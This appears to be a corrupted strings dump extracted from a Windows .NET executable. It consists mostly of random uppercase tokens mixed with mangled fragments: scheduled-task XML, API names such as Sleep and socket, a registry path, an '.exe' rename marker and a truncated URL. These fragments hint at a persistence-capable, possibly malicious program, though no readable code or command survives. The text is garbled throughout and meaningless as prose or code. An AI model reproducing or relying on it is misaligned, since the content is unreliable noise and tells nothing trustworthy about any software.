UNTMMYBG
WHSUMT
OFPVFKOBCAPM
HTBRPCQCPUMR
TQCORUDQAIH
ZPAUIQCHQVH
HSOUA
XAMNEAEQZF
dwCreationFl3@g Im)CsyCn`gs
FXXMNBAFW
BBXUINUVPYTM
TCSLQHCHO
AXYPOF
,ONPU
KENBOFFHOWK
ZUXTDXQRJD
VONLTN
FZJBQ
OSUIMMRHFNX
EXJEU
LQVFU
BKDGGYBQSGCJ
ICETTFTSFII
LFKBYY
BEFVYUVJ
OCDEAGUMH
ret_FileName
EQYMPBLQEH
DFXQZDBQAOV
SKMJEN
p Xw
EKGWBXQ
VOEFP
WBMRDX
GPYLOELZZXM
CBBPRUYJYGE
TTDRRQM
HKKIJE
KYYPEYE
HKKIJK
Ass7Jve|D!Ks]`prionAttribute
WJDOYNHRFAU
RKQEFDUUOZD
PSUZUPSD
NRUJDTLGYI
YQMSEIUAU
PIdYwqWwdRFd>|q:3K5s
CAKPIS
GSWEQDJWT
QPBAKEJOFEZ
EJIBTJCKZYFR
ERNAGBFATLX
LTYZUDKUO
XDTYPCDWYCKE
OABWOR
LVUAP
CBRCBDVXTLL
ERYLU
VMORXSULUJ
DDAXYXFCRIX
KROCTKJN
HYXTJX
LPE cT]
MLCCRW
VUVVIASJSCI
HWTQPIHBQIV
UXHUFN
oP\]C
XDJNFKEKJCCJ
MMRFLRNSJ
HYECQFQ
P6[N
HIZRTTRUWFP
v2.0.50727
QHPRXOKHQPKW
XKUEZFCF
CGWZQBXGUASJ
ZGVLPJ
&r_Y
NBQKZZHZZABD
BDWWXICPPYQJ
ATUJBCJP
DNONFNZQ
#3R
OIIFVMQ
ILTUXIVX
UEVGJBNSDWML
OMOXEFWNNKZ
&r_U
WZWPZEPAAZ
IWIBIMGYGC
EUPPJWCORR l
IYRKVGUJATQF
b@BF
ZTSNDOJGS
[%s]
&r_L
XJOCHO
XCBBENNQRSIQ
&r_A
&r_E
YDZHPVUMZT
MLSAVEDHOSBD
SSDMHG
^e{l`tte
QGKBVKDZFY
Dp/3
XANFHQBBIHWC
JAAAQRATM
KHVVDRRYZDVT
ZUPWUP
GYAPIYFJVHQ
HIGGAINGA
$YbA
WIDBXI
&r_o
NBMWHN
!q]%s.%+-
&r_c
R$H!
&r_e
XVAFWM
SUESDXDMDWF
!This p*Ntxeo!cann;V5ha"sun in DOS modea,
2Y0Q
EDBRTFPWDWJF
DBBIDDUR
ZJNJVSA
FQHYPZQNRHZJ
& :-
SAJTMVRSMBTY
GYHFYT
WHTRTMYFLFYS
VNBRPEQYHUK
NBFGCGBFWW
IVQOMMNYMYNP
ZGDDHY
& :7
get_S9Ld|Ml*M
ULRPJO
& :;
XGKRIX
get_ASCII
TNZQIG
&r_9
&r_8
AVWJFU
XLIGXPR
XLKWNHKYRPZZ
MXRWRIDEUDY
D$`daA
QDQMFWYGFTZmJ\KD
&r_)
uTGJVM
GNYWTLWNDK
XEVBQW
QIUIEGTRBE
LWAVXJMLAAHK
MHEFEWEAQSN
MUCQGCKX
UKUOVPGJLBEK
N =i
QSXBF
MJKTZU
BMYWSK
CPGRIO
YIBTG
p l;
yUBAJY
XKRQWN
MIMPZ
BJTFGX
VPRINRF
GMGAMJATWXCI
CDUMWQBLLNHW
UICWA
JBYYSBSDHKZP
&r]C
QDMPHM
LXPQTCJPJWC
PLTKOHDUJS
VLSEZFBX
OQWQLSUGNNIJ
HLQBCCSYJN
$83714Rn3&c#L7{/Sii
MGWHLRLTFYH
KGZDGAJLEAS
VAGSJFFFMYEF
KHFSB
NIBWGAQMBVHC
QOQWXACOZRGJ
OBKPTRY
EPOSY
VUXUGQOZG
JBEBLJRKLM
XGFWROVMSHE
HTANNXNI
&h\*
CNGVVLPGM
GPNCSTCFYTHQ
bGSWHFUXJ
PWUHMUH
HDYDFJQAQ
FNHDPCUFCXFT
UFWOEX
KNMBKRFSVSUG
XZWAHGYF
p lw
p lx
$()
XDBEUZ
p l}
MRWODT
XXAFUJJZR
&r!i
WGSRXCNSVE
LO'8C
TYBJCWKIXRPX
RSYMKQZRS
dA_TL
KSEZON
PSANTF
*W 6
WMPVMHZINEZH
LLQBR
IEFFPCINHPVM
SegGs
[^_]
C(_udgnxProductAttribute
YJUPFNCSSCM
OGUDG
UGELNFEKSH
UWBZKJBNVNF
LDOZJQBAY
GPSKPH
BIPBKAUBQOTG
QISLJBYZBZL
&]FKAKUR
JLEKDDEOI
vT]SK
ABPKQU
SQMATGYSU
XJZIVG
V1O+
WZDCRU
~WYLH
Uy(Yp
MSWZDUVXXhQ@WU
UZRQYRAZM
ZPLUDJO
$@NA
PPHLABRKJXDO
VTPJAT
ZPDFJE
OKHMXQDDVNIL
ZTIQHBDKXOU
tYHOQ
PLDQBZ
EEYWJB
FJWCDPWISMJ
SSUBEMRSS
BRFJRIMEZWBE
NIVBJFEWQG
JZJPRKG
AXLJNGGJIL
YIUOJXO
WNFTDQOH
FCMIKZ
QXBHBF
CCTDDQOMZSWS
IIHLBI
MUPMYTFR
YRTCKV
JFRXUOMB
y'# +
WHRFNCFOMYYA
AAXNPF
TBRJDSRFYUFA
SEZXOPST
IMLJXSSGQ
QXKPUBEWJ
AEQEVYNWLZNA
LIAUTE
TECRSCCBJQNK
UHDYMCUSMBAA
PIDPMN
XCRVCJSP
FCOHZMZ
ZTJWVZ
YTZHGGLHBQ
ZDSWUPOHD
PYBFVDMVVRJH
E*N*
KKJFVOQZE
ZPYNBLXXFXS
KBMXUM
WDIISYWJZYW
PILIUR
WENCMXMXQSNK
ASCGHCMSCMZA
CPWMAHAUVZ
SUDQNCZWQ
j%A-
YREOJAFCUZBR
GREWABZGG
UFXLNMA
WVGXAXNDNPJ
ke;Dvd60/dll
OTTMKASOTY
EODMNJIJRAVN
Qrdldher
JGRSFJ
AYCTUWTBA
YTKNWTKOZPT
GZLKDX
DMLFRAD
NDCAHKWXXS
YDPXAAQBJVPK
FMGNLOFKPMO
TUUXAFEMZFZC
WMZSEQK
ECJWCI
FSFJLJFDF
DW[TZWOLJHN
YNXJVA
EOLJEXHHJCG
e2!=F%`
GKXNWPOIPUMK
VIQDCSWYEWE
"VNFN nT]KJ
VMYFVDAGMOBY
&r'5
KKKKSN
o[T'
F%(;D$|}9
PXLIJUEHAIF
EMPBUU
WQQMYD
IWQJZSDZ
SNXWLMR
IOITZLSGHGP
FIACNXSCCP
&r'#
W=H|Ajm#GFcaVxpe
JXYSWS
ANYRCD
SGKDXAVRMIOX
AOCZXV
AMWRXDQCKJ
},RmpOdssag(k
OQNNRBHRUDWX
FKZOP
QOZYVAMYCG
DSNHFAGTUKU
QSLNBVOUCW
DRGUBPEZU
IQMBZSYLAXM
YUFKW
FIDCEVZDH
ATKDJJQOWILB
CMJBOVKNO
WYLOKCEADBMA
Q.yv
$ qA
YMNGTTXP
UJNCPDQIY
JEDFKATKEWGB
JZVTTH
( `g
& bz
SKVNVIDT
FCBLFPCZA
UMZNVKGDT
P-F?
MWQHVMXKNXFN
RRPMY
MOVRJM
ZZQNUQLILOC
YFHIY
TBOAEVOGYWPX
OLBJUX
OBHIQJTI
&r'h
&r'k
FUIUOQYHMOB
FFCNYEYEBS
LZXBHP
HKBDDVOSPVFD
&r'Q
PZPAZQF
YIFFSNMNAEIT
QNNXX
SXKKUGFKUXGI
KPCSRHK
D$T)
MDEGNHVRSDZE
D$T,
JHAHGQTRJ
PZPGERHHAIG
LUXNIY
DEHQBKJURJ
& bM
& bO
&r'I
AYBCI
WHYPA
DSIGNDWVT
UFSQTKUS
SDCNZYCMIQ
AFOALLK
PSEYMLOLXAH
D$DC
MYQFYVBOSR
QYINWFVXL
+abcc
WPSWPTRLOVWU
JNNKIHIXLX
SGEFTEJV
VlGXq,
GFXSPKMBQL
GWFLKDPJX
p ]
3Agmkt
p [
DLAXC
HFOPHQ
YOHJCGCCAVG
TJOSGZDIL
BKHNTNW
U/iHP
ZJJAOEHIMTE
TYRHKOIRETJJ
GDKWSWJWGFB
JFHTVZ
WULCTIUKJ
!)F u
ZNKLGHKW
UKUJEDRPIGG
JIVXLKGBUZPI
KDQFMUDCHSN
N vt
Equals
eiZ!(%I6lH=
p T'
XQQFZH
YWPOZG
ZCXVXIPRM
p T2
LCZLY
\$Tt
HJQIRE
IIPBNYEGUQLZ
KSBABRPXBFAS
BYGJHH
TKHPSSFT
origi-M
EXQVMYWK
IYQALA
QSDSZJBQUBRG
ZTWSOQRX
SGCNTTPLRXIO
QWHNTTM
CLJF
GFMYRXVCG
LDNTP
NNKQWC
FBHPUKSOMVHB
STZMFCKKQEGQ
BJXPQLJJZDVQ
QFWLUVWOMTIT
Dq%*
l[^_]
TTNTFUT
QOLTFRBYL
WTGKEX
PNLZUQ
LNKJOIHQ
r s
WVLDTTACVA
XYEESS
p '
NIUDEFCY
MEHQARMYJHRC
AVOIRZG
p Te
value
System.Ru'Sxf`,HnteropServices
OTARSPK
SJGQKSHZCM
}\LQKK
PMTZDOZW
p Tp
ASFYPR
OLPWCALSHIU
ZEDMXPLCQAAW
AOVXBAJW
JDVEFFLTEAHU
NavWolumeInformati LT
UQBNLI
MPZQPCMUJG
VECGTOSVLO
MSHGFNBVTG
KWFDLFIBDO
IXHNHVQ
LJHDGCO
VWQADO
UJCVXULLFUN
CRFGFDONKBPI
QYSXKJ
MHQVL
LSZUWYJEXOFS
JRCMAJMLKQ
ZUNAHPPBZHIT
LZSFZEKBPGLD
XQGSLYGPFAI
UINBXVQK
GVLSZQNBILCF
FUMMUEHYAGIL
PXTHYCAOKP
XKYDQQ
HPBTJ dVYP[O{UERNUVPTY
ZMSXNF
MYFBCIDC
JINMVUH
PRKQJCDUGI
CRHKFG
LMZNOPCTFV
KAFGYPHN
CKCMONJ
!tq
IWZYTOYXMUDF
INZTD
FGNGNRECI
WHZLOQK
TAFQZXQWIQQZ
,HNVK
YDAXWFDXFUKL
KYKQQTGGJ
PQKNRTUVINI
QQIVIQSDV
ACWAUB
VAYOKDFWOUNH
zVg/Xdap{Eescriptor
KVHUHUJ
KMBBPR
VPRBBER
HHAIH
GWDGB
EUYIQSKAHP h
BGDNCQ
DGPCSFVU
FZJYJSHL
SOJRWNBNXWNK
QIHDGHZJSTU
SetFilePoint(P
LLSAKZYMY
b_R@IRM
WLTBFAUIUTW
UODZFUJTDO
cV[JGIZTDYC
LSVEISWECPOM
KOULPQXHUFUI
mRG]VDE
EKHDAZDDFTZ
DSRYQDRSYU
RDDBQZ
MFZKA
HOVKLJPKOHRR
JBDLQP
CFIZVIKA
VGSLCH
MLZYTCHUD
Brypt
JLCLQ
ETXJNAJ
SHTUDHMVZT
NVMFWGUAI
BBGBYF
NKZVLB
KrNullOrEmpty
A=N"
HERFHB
LQKBNLKGU
DDZNSJ
QVNRWI
ZKPYJT
QAXYLMUOTRYO
ZIERIB
BKZMRVBSJUJ
IXRJHUMJDQ
WZHSMP
QJYPVCPWGGL
RYKWABII
TOLUOUMXVAV
& GC
ZZCLJRY
TVXXNDKILD
KLDQPW
FZJBGO
SGCBII
QLNYOXD
WZNMJMRPPXA
EWUFAAMXSVY
LKOBMMCR
AseateCompatible b
JPKHQNY
ZBYQXVNYVZ
& Gq
UJIUMAMLENYK
IFPGBFUHIPTL
KOBJFJ
PEJHK
& G{
XJAUEYWFXMZ
NERWMVMJSMZ
W mASUX
KOLGZX
RRUIBCD
&rD~
D$
VSFILAJR
BGAQOFROOIQ
MLSCYYGRNIBP
&rDv
Cs43l63%
ASMYIN
JTNIQYJGMY
JPUQFE
Thread
PRKGOJ
ZYVWSTOYNKS
ZBGDYU
DLQWZORSFQD
HWPTGBPTIBO
TYKTWJCXCFGR
YVXQFQWROXQZ
QFMARCLLTUJP
MLMRIT
HTWPXNXFS
YSNACXKRQJXX
NBGOJH
NDXZLQ
HDKOGCXXM
PSLSUQJISMV
MQQLQFSMZVDT
HDKNOCD
PQTIMM
D$ z
MAWEFM
GVZDHWEWPU
KLNZTDOI
NUXFDWQDXOGU
& G>
YRLJFEHSBPG
j#N"
i\^RR
YLRPXKO
DHWOMJZ
HVLRYPB
LQHHNWTBG
TRIBGB
& WN
NDXCQU
cc*d
VUXPFBBPHY
& G)
XKSMFT
v$=
SWRWX
7VAN
FFCHIOUZ
IUCWNBMJYCJM
p &a
PRMZNZ
p &o
VSLRMTHVOAUA
XWCRG.exeRENAME
STXBBN
HFAJFCTQZES
cL_]VV
RIHGYDLERQMG
ERGHRSZSUGGF
IYREMGIAVEW
OTGOZWEDBV
HSGHWRJMYWCE
XYJHUROCM
ERUGTBRJP
EWXUMGNT
WZNOF
p &F
ATLEOLVJOUX
FUVUMMQPDKVI
HDWJDE
XFTWKLPZI
BMPANG
M5QV9C5
p &J
WFWRLNUYLL
u Pm
CAVYTFIYXA
RXJIDWNDW
nU HLYDBF
DBRIAS
VUFJPUQHG
+$y k
FLKGIPSMTRFT
VSRIXQNHSSO
YWLLKDDWS
FOZVNXEK
SNXQGTARGE
IXMLRM
FJDFZL
UIBKZZPUGBB
JGEBSR
p &'
YGGAJOPQQMQO
SHSICOFMV
p &"
IEUAVF
NIOQCGECOPRH
RHJJRETR
SRWPVVEINYQY
YYVSILEKK
IEYNFBLEDYJR
Cs43l6kK [6[V0d3syvLm344I0dCS63iG3G3y.
LXUDDX
WGEYTZSII
XBCQFLPE
HKYYAOQCVUAM
p &5
CJINAOTZOS
ZRXYZRJZEYPM
eR[V
KVEGNCBLN
QVAONAKZAMV
NQKMEOEGQ
ISRHXQZIHHTV
WZIDVVQJCQ
p &;
UJGDHARQCI
PEVLYNVZRV
EWQVHISDYWPD
VIXPWZFLI
NJFUMNIBSRI
$80@3A667s,Eebvvare\Microsoft\
APJVZD
YUKXDRBCMF
KHEQNG
RIWXHU
HIEYUZ
AHSLCWPPBGIQ
^s{p
IVADMXQBY
kCCDM
KZJVOQWAVFXR
GEDLYYPIXYHL
VBZDRISK
TIOEDZNZHQ
QXLUFYV
OUVGYL
OVJNQC
BNGCXAJXJDA
$PV$
PISQYQ
{GKUF
BRGELOJVRTFM
$PV/
C"Z$cB5C
e>`2
GXWNXBIWURIN
PQTAMNX~JXRW
MSBVFVZUPNQO
t$ ;
YV@ gL OXUZFEZ
YYWPPUEAC
EHYVOXNULOL
RHLVTJIOTPDZ
FXWADB
KJBOFBJQP
FFYKCS
EQJYGHETBHN
HFJUL
HUNRSY
FADTSRWQIA
KPPQZY
LSSKKOVC
EVAEBE
KZFCVZUA
amosesocket
IQPGST
Cs4kK :c6S3YW0d34R5d0iWY/CA;lE2G3y.
NGPZTSWTSQ
HXNFZ wW^DEY
CJBDPL
WKVOHFHFPNJB
NIQWUD
RENQI
KurwaClass
SWPPU
VWHZHOA
ZVWBGWETNT
$GXQH
AQTSLJ
CNLYTWQ
CWDX
WUQDPMJU
OVBGLTXN
AIQER
ORJNEXPFZLI
t$ d
QCRUBQDCOVY
ABYJJEHUFW
OFZYARJCABPM
UWRAINXOSNK
EFXTLIY
VLEPQCZPLUII
*E@TVMZKEI
JBASZG
VRPVG
NISPBQZK
TGYCWO
U/D,
RWMBNUNMLGNR
ZNRLJKJYZPYH
ADCQYL
LJQIXDYTOKDN
RBRVTKUOKP
FHJHXW
SRFUAHLUSKEX
TFLUDOTDI
WPSOUSCqTK\EC
SCZRZXJINJF
dZZHP
ESFEHIHYCVM
RPZZLHL
GGRDDCXG
IBBJHR
;D$0<
EBOMRZ
JCLKXWSMHWDZ
AEUEKXXDYYZH
SWQIYCSLNOP
DQAGVL
UGUDJFIV
YWNIFTE
TRPDSWGHQGZU
XOQNZUJLNJM
& 8g
AYVWCTLBWU
QATWJFXJCHN
ZDNIWG
NFUSWMFGFLJD
TBHONN
BQBFIFNCHXI
R-\q
&rar
BGOUQY
& 8w
QTCLUDWONKR
ILDYRL
D$i(
BPWPSBPGRWTP
UDFQCBNT
YLSJWDRPCZ
V%$P
PPZBQICB
ZYRHDB
FKPMGQ
&raH
HQNFIR
DUWBCULE
XUYAHNZS
WNGSYMNZVKKJ
MWNSZUQUERZO
IUTORRFHAHKD
*c d
& 8U
LNGXFQAPTSO
&raZ
d+Y$
HLPXYDAE
&ra&
NBRSNCTBPIRZ
HIZLGUCSWBi_ISWD
GYDOHIRXZQ
UULXWG
INNWDX
BWCYNH
OXBPKPBW
VWIWKM
UZLTRISNBH
XALJYLTBLKN
IDTWKF
UMBCMAJ
GFWSJT
VRJNJZWYSHB
EPFOTVFSGG
&r v
NIGYYCXZEMZF
DLDIUFD
&r ~
XRZCRPCXQTY
gSBBJV
s[NMGRN
JVKFD
CLZDYNTA
U,"9
BXJMCOOG
UGWXMCFCAA
ZVEBB
MZEYGCJNRJIA
Sleep
RXVVNKZHCWZG
HqUq4e0 aC5C\ad8CQi5
h_ BDHQFZZDK
QBZTZX
,_GTG
AZHMGJTLNO
VNUZRAVB
CG>S
p n:
LPSFTLQGDD
"CZWU
DKWFO
TAIFEJGYEK
ZEGCUY
<.6b
QBWXBPQUQZEC
System.Globalizati!B
* V
CQCMB
ERUJDQ
YYGDV
OOPRGHWHMTM
PSFDLZ
H)Q^W
FRMSEXOE
ZWWINQ
MTJZLAFHZBRW
HWAECY
TQUEPDHFAT
VAAHSOTX
cF@@
WARSYEF
WWCOPLAVWX
LCWYAAPJITM
QKGCJCVMDTB
KFJVRRVN
HBOAMAXZWAWV
Windo/_Zl`l Cgq
PIA nA\L
ROTQXRTFQKVR
QVJLYHXBXXDI
p n
CFTPPHTMDA
UZMAKGF
bB MO
CNLMLV
RKRMLQKJIWYY
NAJOSJKLN
k74q`
SVVYLHJPEY
TTOVDT
T'4/
SJEJSINLP
HWEKFR
NXJSXNTZQEPJ
HFXYQRRU
VFDDRZWJZUHB
YLZQIBI
SXPTKWYRZHH
p nk
NWSOHFENQEO
p ni
IXKTZFUEEXQE
UETXOFXB
JJRTEE
SEFYKV
%6\PWlWSW\abi{]W^t6d0 9o&KYce8CQi5\mWn4R aCoi
EypMdHdle>false</RunOnlyI>`wfa<I-6*%"=WakeToRun>false</Wa3ABfWw-
RunNetBackupUTaivv![
PJGAIKU
CURSLW
KAYJADNUKE
BXPYKGQ
RWJIYF
PXOUHWDZ
UXPDCJTNIDSX
VPGHLALR
vYLAT
ZZBAFZ
p nE
OXMUTPIF
PYWKYKB
KMJZVXIPQA
XWPGXNVGTXXO
EZCFQOCRVBBA
JHUCVPR
XVFARSQHUVQ
l5yekwv7\[ebm
GUCFRVI
NYUHRT
Nxlpj
QHAEMKNIHFY
FSYCVYCSAKAT
KJRHTDHJQKN
NZMTSS
OKENPZBGKXUO
HVFBPQCD
QFEPJTK
RAIRLRQMIEIR
BGRKIG
WFGTTDVORNTL
hide
u*A
AJTUREKMW
NDCRLXHCH
DCPQXT
BJURQTWBLX
WWWU
ZBTYVZFDGVMO
GASTTIDU
XTOYLEZ
MWCXJQRHU
NASQVDKGCINK
WVRPQV
BCLRITIHYCZ
DIYLYLDXO
RTLIOF
CKBGNYDCH
GCTOYNPGKNDX
KPGLOU
BYXPVVUEANT
}Z]DURDPMF
ZLEMVM
JKMRDY
OQAQWHYUEQR
JQHYNZWRXV
BFFBES
EEGGNKYANNNV
PFKGKJHHZRHG
GKHRVYAZDN
A v
VLSMZOMYMODF
QQSTPF
YQRVW
HMSSHP eGRQ
FCOLCEEK
ZGNFXTIVANYK
RKYCE
<Mo'Y
FEJFZ
LRQKTUIBWPWI
GGJRTT
M hIYLA
DZSZTTHNANRQ
GKMVBLFSMSGL
RawSecuri=^Unva+Ec|jp
ZLHGHPTAPU
JJFVTGTKSKN
QLKVOX
TYFNWTBAIKUT
AKCIXWWBFA
WUODGWPJEJJL
EEKJCVLWKGET
SEVHNEASFQT
ZDUDNO
TTNHAD
SVNEK
NUVGCAAZOKB
CBALRNJBD
QENRKAKGOCY
TDQDQTF
DMDQUAFNRS
HYPDNAZTMN
&r);
IOZUQBF
FBEZJKING
PJESBIJZKIJ
SCOOUX
WTRCAOONYPW
WRWXMKDRC
& `U
&r)*
VUHMEXYVJR
ZWPXG
&r)'
&r)&
&r)%
TFHFUF
QNZAQB
MWXFPNBQ
QEZQVDEPE
IRMUE
& `f
BUSOXW
ZKMLVAZZP
QQZTQQPQ
DJCDDA
UPJMBFHPDMY
.3>AEEFGH
TYBMYOWYN
PUZQOXTTYCFI
ONPAVONLHKRK
ZPTVIXUSIA
XAOLMI
ADNQQYXCCIQ
O,1]V
&r)
& `p
HCJHTLKCCOHM
GSIPCGSKDVN
RROKSQCHI
RIPZQLRTNUIK
QXBOJUQEPUFY
LKAQVQDKMSY
$xD,
ETCSEZBWDXPT
NGNQESVVQNAR
^HIXDD
FBTPQGORTWJX
http://%s%s
RLIGXNGLWSNQ
LSGUHKDADIJS
TSUSFGYYME
LDOBNZQ
&r)n
UMMHCL
yQ_SP
JPEZYBHA
HSDUFCVZMVBW
&r)b
TXWGOT
UUWQLGTMJMU
MXHTNKTVPZA
&r)^
OAWXUXKEWHRI
&r)Z
&r)X
D$V'
XWMSTTMDCLWF
& `-
WFUADTE
RUYRHWJQF
WINGPYDMPKWV
&r)M
&r)L
BLNSX
D$V;
;D$ ,!
&r)H
PPXSKFYP
&r)C
HOHYIFQSICHN
VTCXGES
SCCYFFVZMBCI
BXBBKWLQ
p P
Cr&GaoQmnlhel>
MBJKSMFC
PDJCZG
RMASHGUOI
B[INSF
TNAHNMBRBOXA
QFHVRJDAAXJ
XNLGANDMNCS
BLNGPH
OVYFQU
PBUGAVA
AKNUGKXIPKR
OFLEGMQCM
KOIHJOZIBKZ
GCSGE
WJKDPJ
RNUTANWCJOKN
EQKBRLGGNIZ
HZWTQO
ASUXMO
HUZKHX
OQXPOGXCOUVP
KHHPKJCBRAUR
QRKCV
UEHAHFXD
|L[VJB
HYDJAGPA
MNZERU
TDBLNJQX
QKQIRS
XKHYZFZIO
XPHUNXZNFA
ZOYSOBLE
GLWGVZVVN
GPVFXAKSBJJP
yFBK
GOHRD
IVIGZEKPHX
GYTEOFJHFLBR
UNCAQG
RNPBPGNRA
OBJDTADHRGTS
ELREZBRAZFH
DBDESCXAL
p VX
KWDKVKCIIDRE
Mryep-
p VC
BLXBZGWSE
$AXA
D$Ht0
&YBQV h
Y0-k%
BBVSOWUOSKZP
PSBTFVP
FAHDDDTLJSJE
BZNGEKSSVA
PYHWVT
p Vq
,EECS jDRKSUT
OXHGOODSD
ERBADV
TGENNE
RFNSDMMUC
EdzURm\PrQ5aC{j
ZUCZWBPE
GYAWTO
FANWYEBITEWQ
UYGJOZDCGY
XWGDK
VUTFIDXHEAI
WREPPQ
FLKJLDMIJ
UFAEPDNB
KSVWTD
x05
NVMLTURFUWB
BDBVVUWMEMJ
DQUZLLIVC
ZPRZOVQVZZ
FQIWC
EDCVSK
NQJJGECYYZIW
GTQTUWDGERKN
MMLRZARQ
iCILC
OJDKIK
QLHRJNESZMYZ
|$AG
VCAOUYUUH
UIJKRBLPVLL
mGSJI
YNPREGFLVVCO
DPQBIAFHYZ
NZXCDQTV
KIFVDWRRK
MOJUUY
STCLAFAUHKRZ
EFFTGXBOAJS
VHVXTPTQVPRS
JKEFKNLBY
RRWJXZ
VMHWQLBEVW
TIJJLY
OUAAL
fwrite
RDLXBPFMMAKD
JUURDKGIJCJA
TVOIUGDJCG
DIWAJZSSPOQ
EBNXUL
XPYNGQXVIAC
RELOGYV
VHOVVNCR
WZARNYV
JIZYEJQVEQ
QCEO
KBFUOVOTFOXP
} ![\
UPXTUEMD
AASRNNFVNNNP
FAAHQCPGUQPD
MinorOperatingSyst'JBlwq:B| HckorSubsystemVersion
RQPBVULQS
vT@B[TVYC
RYWFPBFFSRY
JFLET
WXXWHVGZS
SHGRNFU
XBNIRXP
aL[K
PZCMXZHBHLJT
WFV!
TLWHPSDUOG
AGRSHL
NFVWPH
ASHEOJUSEE
GZYRZSTF
IFILOWHNVXHO
VQBBQAQ
RGBOGA
MRZT
HNSIK
IJSIGS
BHIDPWZMZ
RSJVQNNJHQWM
CSMQBI
RVODYBCIBAC
HJVEKRW
*FID[
MXRIUYARYPK
UBKFPF
ATUQWXMJSUB
; 5HK
HKINCEWK
FPRRRNBJVX
TVBRPOGXMM
NRLJPSAEBLG
QKILUJICQJYT
DCBMJONOJ
PTCUOE
Cs43l63g4Rq~C9a17Z64R}}&`C1F3y.Sii
SCNSOPFTPSNT
BSQOHNPBBDMN
MILSDLWK
WMJKDS
rS[MF\</Author> </Regi&^gkpk<I]gcm? <Triggers> t
GRNCPICQ
UVPFRUBBG
SYODYX
WXFFRPKP
y72u
OQWHKOHIH
B\AETYAAX
UEXAGH
WPGJOCFTJGIS
VLXXZTV
CLRJVSUSYVFM
RCQKVQKKUCB
HVPETY
S kU]FGWOQ
Cs43l63g4
XWDFZUGQRFRL
&rFs
ZRTHQSGADXRU
ONKWWVUKDBE
& Ew
KGAQFO cNHT
DILZLOWL
LUGGNHPUTJGI
KBCXOC
AGYIVD
PEJFX
NECKOHT
kW TP
MEUCUUUBM
UQMGFAOMVM
IMLMADXJY
XIZWYAJ
LMCKJIIVFANU
XSRGWBJRLJI
VBKOC
NOOEAD
Ed590W
u!Pt
JVMHTQYIRMO
XWKMUKGYXJ
P x}
LNSJUMBIFF
GVNKCONGJPUF
OPSGNPLWEU
YNUKVU
GTFOWZ
MCUKMEBKDFN
GXDTQCKBX
TSHTDLWMYOUO
QRKBK
AXXDJMO
& E?
JPRLFYRKP
VDLSUJ
BEFNTV
=2\")%d)
!PZR[VECYO
EUHYWO
FQKGRYT
WBFIUOPEsOYSM
WYRECG
b]JA
JGQRXRGGWDKI
PWWSSK
UITZXB
WCUUMI
ALCXXAZIZ
UBSNYZX
vmiris9B
p s-
JTIFQOPANBC
EGZHLWKQ
SFASEP
PVIZUR
PHVYKBPYJRGL
KCMOWSEUKXLR
KAAOIFZOSNX
MCRJXXAAD
HMFUSLFRAV
get_Name
MMTGNPCUVJFY
aMZ@[HqU@_L[BFY
OSOYKDAAGF
p (y
ORKKXQZDGWYN
HEJNKRBVG
eBNE
NAFFJHGKW
p s0
KLEXIHOMTI
WAPRH
NNXTYGYRLLW
SIMYVQL
XGYWDWQK
JARZFF
ZWSSNJXPCNK
p (A
mav^DiscretionaryAcl
WTWRFC
HVBWLGJMFEKZ
UUCUIIWETF
GIMLLYPFFZCG
MITCJVFTKZON
DBSZEZHFWCW
p (V
ZBRELQ
IWHSPDNFTFBZ
rbh,7yGPR%
%SP/
WYPPQLSOC
IUEGBX
&rm4
AQZVKFHU
XBLPQMOAEFPH
p ("
BUIYDHIDDVG
&rm;
FGSTQF
YXPUECJWX
EDTDWKZJLZQ
67i45+hfRmU7d
CIYUYNSGSEQ
VWPREMR
sQY\C
NTNCUKHTQUM
HHNWJLMFKJVA
JWLXSU
ZXQAUA
AKAWQKJTMRIC
N!Ps
NRCOWEKHAAQ
BIQWZVSRW
ZNBELKUTE
p sD
c@ ]H
VFLTOFUU
HTFSJSTKXCM
MRYGKGXMLO
CRABZNTZU
YOSUOVJFGAW
VXHCSTXVZXJL
JJKMI
MMFNKS
QFNQMQCRMUN
ODXKZQFSYZX
UEWLNCWKZVB
EWUIIUNHLBI
RSRLO
p sS
OPDRSP
OUQOTRP
EMLWTNXYVD
HJANVD
GHZIRTPL
YJSDGBRWTQUA
EBPJTG
RTPBFIHIZES
EDQJGP
+Z B
MHEIVD
AGRWHP
QFAHKYQL
MvL
Sed`med>false</Enabled> I 3)$>gspnlqurationTrigger> <a}`cce+^e4
nfv-Cx TpncessThreadCollectio6'qiuv*E} Azbeption
OCBRICEQMB
LNNYMGBTPHXO
YUGXXBYHZWR
Envi K{dalu
LVRSGWS
ILNACS
BRRMYINIY
&r+4
OCIRXOS
WRGNLTV
XMZJMIMKDX
RNITDUK
gU\WIFZ
FZTSP
EYBOQJEUASQT
YVYRGXFVPEGP
ZUMTVASMDYG
Z. )M$
KHGXNFLBKHD
BQXBVI
WDMQARGZIKNM
DAWVNFBGIO
ODWRQ
PV$9
QCYDQ
LQZZDXHMIFHA
AXUIPRFXG
ARTFDV
RGXRNO
AHEWLFKFRZTA
ROXMPLXQH
QDHJAHIPAHQD
ENHSHLAZWQ
LOHSXQXUQAMB
KMMQWI
XOEVQTMBDTWX
DIDAZYUeLLI[Q
ECJSP
ENPOPL
XNGQIR
FYUKUDKS
CUJSJT
VILGRBPN
(7y]C
KWZFOGIVYFA
~K^GEN
CDHXPO
BOGOBU
SSEPGALN
PFWRWYOBF
BCWCUV
ETPYBL
DJZCHXTINFZ
EORRLV
QQIHJHSDPN
DQRTWYR
GetDiskFreeS?@vlAz@
UPGAMVDUZ
KQLDVC
YHURAQKDWN
WBQWOLEZYPAY
XXSQOQNY
sFSh5jRQld0C5dX5dln$jIUk4Ed5Xa@
NWHPJQAHIJ
JASDLC
RCTONJPN
D$pb*
BFUNOAWOJVIG
HKGOKOEHATN
&rch
ABVJKOISBM
&rcj
NDMEQPPQDL
JQCNOSPGCMQ
BDNXELOJUZKB
MROELDYMOURN
L^,G
SDXAXV
TMJUWBDG
AWYIH
ELLVIDUVP
UNDAXEHKVL
+BbVEp%Sxokvr
COGGDKSDGDXQ
`U[W
FGgl
http://farizcollecti;
&rcO
UZYKBN
AEQUGMEXXFQ
XLXHIIXBTXU
PRINVDXIEXJY
& &]
NREFUHSEE
BDQULY
LHHHORIIPHM
RXDLMUPRG
SYHALB
AAPSVCIYXZM
&rc^
&rcX
NSBNKL
NMDJKLT
T$(P
QVMAPR
MKRSSZ
WihpVerification
XNRMNC
TNEHTHERZW
&rc-
QHPIPM
CHPRFQ
AEKDCG
YJABHFOMSMWU
IUCCOR
&rc%
RIWUQXPGSITR
MHPQDM
KJRURTIELVV
NRUPFESJY
BAZATORXNDFK
ESECDIUHOZSQ
ZGISQRKSF
TMNUJC
